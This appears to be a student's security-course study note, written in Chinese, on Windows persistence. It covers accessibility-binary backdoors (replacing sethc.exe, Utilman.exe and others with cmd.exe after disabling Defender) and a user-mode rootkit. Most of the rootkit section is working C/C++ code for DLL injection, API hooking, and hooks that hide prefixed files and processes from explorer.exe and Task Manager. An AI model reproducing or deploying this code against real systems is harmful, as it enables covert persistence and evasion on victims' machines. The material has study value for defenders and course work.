---
# System prepended metadata

title: 台灣好厲駭筆記 1st - Windows 後門
tags: [zeze]

---

台灣好厲駭筆記 1st - Windows 後門
===
[TOC]

###### tags: `zeze`
# Windows 後門
* 測試環境: Windows10

## Shift 五下 (成功)
### 簡介
Windows 內建功能，按五下 shift 會出現 enable Sticker key 的視窗，用來啟用sticker key 功能

### 實作
1. 把 Windows Defender 的 Real-time protection 關掉，因為裡面的 Win32/AccessibilityEscalation 預設會擋
2. [改掉 Registry](https://zhuanlan.zhihu.com/p/98526538): 讓開啟 sethc.exe 這個動作實際上變成開啟 cmd.exe

* [別人寫的腳本](https://github.com/szymon1118/logon_backdoor)

## Narrator (成功一半)
### 簡介
Windows 內建功能，會把你瀏覽的資訊唸出來

### 實作
1. 把 Narrator 功能開啟，並且設定快捷鍵
2. 兩種方法
    * [改掉 Provide Narrator Feedback 的 Registry](https://www.secjuice.com/abusing-windows-10-for-fileless-persistence/): 不改掉整個 Narrator.exe，而是改掉其中的 Provide Narrator Feedback 功能，不過這招**沒成功**，無法在登錄介面使用
    * 直接把 Narrator.exe 調包: 把 cmd.exe 改名成 Narrator.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改

## Magnify (成功)
### 簡介
Windows 內建功能，可以將螢幕某區塊放大，方便查看

### 實作
1. 把 cmd.exe 改名成 Magnify.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改

* 缺點: 登出、登入都會觸發這個 Magnify.exe，所以很容易被發現

## On-Screen Keyboard (成功)
### 簡介
Windows 內建功能，可以叫出可以用滑鼠點擊的鍵盤

### 實作
1. 把 osk.exe 改名成 Magnify.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改

## Ease of Access (成功)
### 簡介
Windows 內建功能，可以叫出 Ease of Access 的選欄

### 實作
1. 把 cmd.exe 改名成 Utilman.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改

## High Contrast (成功)
### 簡介
Windows 內建功能，把所有東西反白

### 實作
1. 把 cmd.exe 改名成 Sethc.exe 存在 C:\Windows\System32 中。這招可以用在忘記用戶密碼時使用 boot loader 的方式改

## Filter key (沒找到資料)

# Rootkit
## 簡介
入侵後維持權限的方法，分為 Kernel-mode 和 User-mode

## Kernel-mode Rootkit
### 簡介
在 Ring0(Kernel mode) 中執行的，利用 driver 並透過 SSDT(System Service Dispatch Table) hooking 讓惡意程式執行。在 32-bit 環境，可以透過修改 ZwTerminateProcess, ZwOpenProcess, ZwSuspendProcess, ZwAllocateVirtualMemory 的 SSDT 阻止 process 被修改；64-bit 環境中因為有 PatchGuard，所以透過 ObCallback 來實現相同效果。

## User-mode Rootkit
### 簡介
在 Ring3(User mode) 中執行的，利用 DLL injection 將惡意程式注入現有的 Process。可以透過 IAT hooking 來阻止 process 被修改。權限比 Kernel mode 低，只能對針對的 process 有效果。

### 實作流程
1. DLL injection 將 dll 植入 explorer.exe
2. hook 住 NtQueryFunction
3. 隱藏檔案

### DLL injection
有參考[上星期的報告](https://hackmd.io/@bKM7OuRBQqmXcFRuw92pRQ/rkSRnDRPw) 並採用最普遍的注入方法，另一個參考資料是網路上找到的[WindowsXP 馬莉歐外掛](https://kknews.cc/zh-tw/code/gvjp83m.html)

1. 先找到目標 Process，有兩種方法
    a. 可以用 FindWindow, GetWindowThreadProcessId 搜尋視窗的 Title 找到對應的 Process
    ```::C
    void getwindow() {
        hwnd = ::FindWindow(NULL, "<WINDOW TITLE>");
        if (hwnd == NULL)
            MessageBox(NULL, "not found", "wrong", MB_OK);
        // 根據 handle 取出對應的 process id
        GetWindowThreadProcessId(hwnd, &processid);
        HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid);
        if (hprocess == NULL)
            MessageBox(NULL, "open failed", "wrong", MB_OK);
    }
    ```
    b. 使用 CreateToolhelp32Snapshot, Process32First, Process32Next 迴圈尋找執行的 exe 名稱
    ```::C
    SIZE_T GetProcessIdByName(LPCTSTR pszExeFile){
        SIZE_T nProcessID = 0; 
        PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
        // CreateToolhelp32Snapshot 對特定的 process 取 snapshot，TH32CS_SNAPALL 代表所有 process
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
        if (hSnapshot != INVALID_HANDLE_VALUE){
            // Process32First 對 snapshot 取第一個 process，如果沒 process 可取就 return ERROR_NO_MORE_FILES
            if (Process32First(hSnapshot, &pe)){
                // Process32Next 從 snapshot 取出下個 process
                while (Process32Next(hSnapshot, &pe)){
                    if (lstrcmpi(pszExeFile, pe.szExeFile) == 0){
                        nProcessID = pe.th32ProcessID;
                        break;
                    }
                }
            }
            CloseHandle(hSnapshot);
        }
        return nProcessID;
    }
    ```

2. DLL injection 到目標 Process，用最樸實無華的 VirtualAllocEx, WriteProcessMemory, GetProcAddress, CreateRemoteThread
```::C
void inject(HANDLE hprocess) {
    char dllname[70] = "injected.dll";
    char loadfunc[25] = "LoadLibraryA";
    int size = strlen(dllname) + 5;
    // VirtualAllocEx 讓系統分配一塊 memory 在 process 中，return 被分配到的空間
    PVOID procdlladdr = ::VirtualAllocEx(hprocess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
    if (procdlladdr == NULL)
    	MessageBox(NULL, "allocation failed", "wrong", MB_OK);
    SIZE_T writenum;
    // WriteProcessMemory 將 buffer 寫入 process
    WriteProcessMemory(hprocess, procdlladdr, dllname, size, &writenum);
    // GetProcAddress 從 dll 取出 function 或 variable 的 address
    FARPROC loadfuncaddr = GetProcAddress(::GetModuleHandle("kernel32.dll"), loadfunc);
    // CreateRemoteThread 開啟一個 thread 來跑一個 function，概念是利用 LoadLibraryA 來把我們的 dll 當作參數丟進去執行
    HANDLE hthread = ::CreateRemoteThread(hprocess, NULL, 0, (LPTHREAD_START_ROUTINE)loadfuncaddr, (LPVOID)procdlladdr, 0, NULL);
    WaitForSingleObject(hthread, INFINITE);
    CloseHandle(hthread);
    CloseHandle(hprocess);
}
```

### hook
[MinHook 參考資料](https://www.codeproject.com/Articles/44326/MinHook-The-Minimalistic-x-x-API-Hooking-Libra)
使用 MinHook 中的 MH_Initialize, MH_CreateHook, MH_EnableHook, MH_DisableHook, MH_Uninitialize，範例是 hook MessageBoxW
```::C
int WINAPI DetourMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
    // something after hooking
}

BOOL hook() {
    if (MH_Initialize() != MH_OK) {
        return 1;
    }
    // hook MessageBoxW，替換成 DetourMessageBoxW，最後要放原本的 MessageBoxW
    if (MH_CreateHook(&MessageBoxW, &DetourMessageBoxW, reinterpret_cast<LPVOID*>(&fpMessageBoxW)) != MH_OK) {
        return 1;
    }
    if (MH_EnableHook(&MessageBoxW) != MH_OK){
        return 1;
    }
    MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
    if (MH_DisableHook(&NtQueryInformationFile) != MH_OK) {
        return 1;
    }
    MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);
    if (MH_Uninitialize() != MH_OK) {
        return 1;
    }
    return 0;
}
```

### 隱藏檔案和 Process
* [參考資料](https://github.com/XShar/simple_rootkit_for_windows_fork_r77)
1. hook 住 NTQueryDirectoryFile 和 NtQuerySystemInformation
```::C
bool WINAPI DllMain(){
    MH_CreateHookApi(L"ntdll.dll", "NtQuerySystemInformation", HookedNtQuerySystemInformation, (PVOID*)&OriginalNtQuerySystemInformation);
    MH_CreateHookApi(L"ntdll.dll", "ZwQueryDirectoryFile", HookedZwQueryDirectoryFile, (PVOID*)&OriginalZwQueryDirectoryFile);
    MH_EnableHook(MH_ALL_HOOKS);
```

2. 在調包的 NTQueryDirectoryFile 去略過目標檔案
* [_FILE_DIRECTORY_INFORMATION 的資料結構](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_file_directory_information)
* [ZwQueryDirectoryFile 的原始用法](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-zwquerydirectoryfile)
```::C
NTSTATUS Rootkit::HookedZwQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, PVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, PVOID fileInformation, ULONG length, FileInformationClassEx fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan){
    NTSTATUS status = OriginalZwQueryDirectoryFile(fileHandle, event, apcRoutine, apcContext, ioStatusBlock, fileInformation, length, fileInformationClass, returnSingleEntry, fileName, restartScan);
    // 確認原始的 ZwQueryDirectoryFile 成功呼叫和確認 fileInformationClass 是定義好的其中一種
    if (NT_SUCCESS(status) && (fileInformationClass == FileInformationClassEx::FileDirectoryInformation || fileInformationClass == FileInformationClassEx::FileFullDirectoryInformation || fileInformationClass == FileInformationClassEx::FileIdFullDirectoryInformation || fileInformationClass == FileInformationClassEx::FileBothDirectoryInformation || fileInformationClass == FileInformationClassEx::FileIdBothDirectoryInformation || fileInformationClass == FileInformationClassEx::FileNamesInformation)){
        PVOID pCurrent = fileInformation;
        PVOID pPrevious = NULL;

        do{
            // 檢查是不是要過濾的檔名
            if (wstring(GetFileDirEntryFileName(pCurrent, fileInformationClass)).find(ROOTKIT_PREFIX) == 0){
                // 確認有沒有下個檔案
                if (GetFileNextEntryOffset(pCurrent, fileInformationClass) != 0){
                    // 把 address 去頭去尾，留下下一個 entry 的 buffer 長度
                    int delta = (ULONG)pCurrent - (ULONG)fileInformation;
                    int bytes = (DWORD)length - delta - GetFileNextEntryOffset(pCurrent, fileInformationClass);
                    RtlCopyMemory((PVOID)pCurrent, (PVOID)((char*)pCurrent + GetFileNextEntryOffset(pCurrent, fileInformationClass)), (DWORD)bytes);
                    continue;
                }
                // 沒下個檔案的話就設 0 準備離開迴圈了
                else{
                    if (pCurrent == fileInformation)status = 0;
                    else SetFileNextEntryOffset(pPrevious, fileInformationClass, 0);
                    break;
                }
            }
            pPrevious = pCurrent;
            pCurrent = (BYTE*)pCurrent + GetFileNextEntryOffset(pCurrent, fileInformationClass);
        } while (GetFileNextEntryOffset(pPrevious, fileInformationClass) != 0);
    }
    return status;
}
```

3. 在調包的 NtQuerySystemInformation 略過目標 process
* [systemInformationClass 的資料結構](https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/process.htm)
* [NtQuerySystemInformation 的原始用法](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation)
```::C
NTSTATUS WINAPI Rootkit::HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, SystemProcessInformationEx *systemInformation, ULONG systemInformationLength, PULONG returnLength){
    // 先把原本的結果抓下來，準備要改
    NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, returnLength);
    // 確認原始的 NtQuerySystemInformation 成功呼叫和確認 systemInformationClass 是定義的那種
    if (NT_SUCCESS(status) && systemInformationClass == SYSTEM_INFORMATION_CLASS::SystemProcessInformation){
        SystemProcessInformationEx *pCurrent;
        SystemProcessInformationEx *pNext = systemInformation;
        do{
            pCurrent = pNext;
            pNext = (SystemProcessInformationEx*)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
            // 確認 pNext 是不是要藏的 process，是的話就直接把 pCurrent 的 NextEntryOffset 加上要藏的 process 的 NextEntryOffset
            if (!_wcsnicmp(pNext->ImageName.Buffer, ROOTKIT_PREFIX, min(pNext->ImageName.Length, ROOTKIT_PREFIX_SIZE))){
                if (pNext->NextEntryOffset == 0) pCurrent->NextEntryOffset = 0;
                else pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                pNext = pCurrent;
            }
        }
        while (pCurrent->NextEntryOffset);
    }
    return status;
}
```

4. 最後用 DLL injection 將上面的 .dll 注入 explorer.exe 和 taskmgr.exe 就可以讓檔案和 process 消失

## 其他 Reference
[Rootkit 初認識](https://resources.infosecinstitute.com/topic/rootkits-user-mode-kernel-mode-part-1/)
[Kernel-mode vs User-mode](https://malwaretips.com/threads/kernel-user-mode-rootkits.47121/)
[Rootkit 概念與結構](https://0x00sec.org/t/user-mode-rootkits-iat-and-inline-hooking/1108)
[各種 rootkit 資源](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/Rootkits.md)
[DLL injection 實作](https://www.programmersought.com/article/5535905437/)
[各種 DLL injection 方法](https://github.com/fdiskyou/injectAllTheThings)
[更多 rootkit 用法](https://github.com/vmcall/latebros)
[process hacker](https://github.com/processhacker/processhacker/tree/master/ProcessHacker/include)
[rootkit repo 列表](https://github.com/d30sa1/RootKits-List-Download)